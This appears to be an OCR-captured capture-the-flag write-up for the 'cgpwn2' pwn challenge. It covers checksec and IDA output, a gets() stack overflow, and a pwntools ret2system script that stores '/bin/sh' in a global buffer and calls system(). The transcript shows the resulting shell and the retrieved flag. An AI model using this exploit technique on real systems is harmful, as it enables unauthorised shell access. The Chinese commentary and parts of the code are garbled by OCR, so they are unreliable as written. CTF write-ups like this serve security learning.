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root@mypwn: /ctf/work/python# checksec 330890cb0975439295262dd46dac13b9
[*] '/ctf/work/python/330890cb0975439295262dd46dac13b9’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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[#] Functions window = & ©

Function name

[F] _init_proc

[7] sub_80483D0

[7] _setbuf

[7] _gets

[7] _fgets

[7] _puts

[7] _system

[7] _gmon_start__

[7] __libc_start_main
[7] _start

[F] _x86_get_pc_thunk_bx
[7] deregister_tm_clones
[7] register_tm_clones
[F] _do_global_dtors_aux
[7] frame_dummy

[F] pwn

[#] hello

| 7] main

[F] _libc_csu_init

[7] _libc_csu_fini

[F] _term_proc

[7] setbuf

[7] gets

[7] fgets

[7] puts

[7] system

[7] _libc_start_main
[F] _gmon_start__
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; == SUBROU
; Attributes: bp-based frame

; int _ cdecl main(int argc,
public main

Hex View-1
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const char **argv, const char **envp)

main proc near ; DATA XREF: start+l7To

argc = dword ptr 8

argv = dword ptr O0Ch

envp = dword ptr 10h

; __unwind {
push ebp
mov ebp, esp
and esp, OFFFFFFFOh
sub esp, 10h
mov eax, ds:stdin@@GLIBC_2_0
mov dword ptr [esp+4], 0 ; buf
mov [esp], eax ; Stream
call _setbuf
mov eax, ds:stdout@@GLIBC_2_0
mov dword ptr [esp+4], 0 ; buf
mov [esp], eax ; Stream
call _setbuf
mov eax, ds:stderr@@GLIBC_2_0
mov dword ptr [espt+4], 0 ; buf
mov [esp], eax ; stream
call _setbuf

call hello

mov dword ptr [esp], offset aThankYou ; "thank you"
call _puts
mov eax, 0
leave
retn
; } // starts at 8048604
main endp
g .
align 10h
H SUBROUTINE
; void _libe _csu_init(void)
public _ libc csu init
_ libc_csu_init proc near ; DATA XREF: start+l0To
var_ 2C = dword ptr -2Ch
var 28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg 8 = dword ptr 0Ch
: unwind {
push ebp
push edi
xor edi, edi
push esi
push ebx
call _ xB6_get pc_thunk bx
add ebx, 1985h
sub esp, 1Ch
mov ebp, [espt+2Ch+arg 0]
lea esi, (_ do_global dtors_aux fini array entry - 804A00(
call _init_proc
lea eax, (_ frame dummy init_array entry - 804A000h)[ebx]

Line 18 of 28

00000604 08048604: main (Synchronized with Hex View-1)
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

setbuf(stdin, 0);

setbuf(stdout, ©0);

setbuf(stderr, 0);

hello();

puts(“"thank you");

return 0;

char *hello()
{
char *v@; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

vl = &s;

vl = 30;

if ( (unsigned int)&s & 2 )
{

*(_WORD *)&s = 0;
v@ = (char *)&vé6;
vl = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v@[v2] = 0;
V2 += 4;
}
while ( v2 < (vl & OXFFFFFFFC) );
v3 = &ve[v2];
if (vi&2)
{
*(_WORD *)v3 = @;
V3 += 2;
}
if (vi&1l)
*v3 = 0;
puts(“"please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);

int pwn()
{

return system("echo hehehe");

EE B hello B —HEEL-B /UKD, HEM. AFEREMTRRHE:



puts(“"please tell me your name");

fgets(name, 50, stdin);

puts("hello,you can leave some message here:");

return gets(&s);

MR — T R E# AT AR, DA 75 BN R

root@mypwn:/ctf/work/python# ./330890cb0975439295262dd46dac13b9
please tell me your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hello,you can leave some message here:

Segmentation fault
root@mypwn:/ctf/work/python# ./330890cb0975439295262dd46dac13b9
please tell me your name

aa

hello,you can leave some message here:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

KE-TFTREHH=EAER, BHAFT, pwnBHHHKEB Tsytem, i&ZE/binishe £2FERT —TEAK
B/bin/sh, fE& TAZEnameffEbssBH, £REE. I LLEEH/bin/shft%name. systemfinamelftht

LI

.plt
.plt
.plt
.plt
.plt
.plt
.plt

.bss
.bss
.bss
.bss

108048420
108048420
108048420
108048420
108048420
108048420
108048420

:0804A080
:0804A080
:0804A080
:0804A080

; int system(const char *command)

_system

command

_system

; char name[52]
name
_bss

proc near ; CODE XREF: pwn+Dip
= dword ptr 4

jmp ds:off_804A01C

endp

public name

db 34h dup(?) ; DATA XREF: hello+77%o
ends

T, ZABERMELEREE, WiE— TFpayload

system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 'A'*0x26 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)
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#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

# context.log_level = 'debug'

p = process('./330890cb0975439295262dd46dac13b9")
# p = remote("111.198.29.45", 57351)

system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 'A'*0x26 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)

p.sendlineafter('please tell me your name', '/bin/sh')
p.sendlineafter('you can leave some message here:', payload)
p.interactive()
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root@mypwn:/ctf/work/python# python cgpwn2.py
[+] Starting local process './330890cb0975439295262dd46dac13b9': pid 197
[*] Switching to interactive mode

$ id
uid=e(root) gid=0(root) groups=0(root)
$

PATETY, Bpython il A 82 AR 55 4%

root@mypwn:/ctf/work/python# python cgpwn2.py
[+] Opening connection to 111.198.29.45 on port 57351: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{8a707891cac7e8c2b@5dd9ea2d76df86}
$

PAT LT, XA B 25 I A0R w2 40 bss B AR B 443 /bin/sh.
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